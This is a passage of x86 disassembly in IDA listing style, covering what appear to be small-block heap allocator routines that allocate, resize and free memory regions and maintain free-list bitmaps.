cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
call near ptr 28F06FDh
nop
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DCFE4
nop
call near ptr 27D0000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DCFD8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call near ptr 28F06FDh
nop
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A9C0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A9B0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DCFE4
nop
call near ptr 27E0000h
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A9B0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A9B0, 0
jnz short loc_41E9F6
mov off_43A9B0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A9B4, 0
jnz short loc_41EA1B
mov off_43A9B4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A9B4
mov [esi+4], eax
mov off_43A9B4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
nop
call near ptr 28F05D9h
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A9B0
jz short loc_41EAB3
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27D0000h
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call near ptr 28F05D9h
nop
cmp off_43C9D0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C9D0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A9B0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DCFE4
nop
call near ptr 27D0000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A9C0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A9B4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 28F05D9h
nop
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB9D4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A9B4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A9B0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB9D4
cmp dword_4DB9D4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C9D0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C9D0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C9D0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A9B0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 28F06FDh
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C9D0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C9D0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
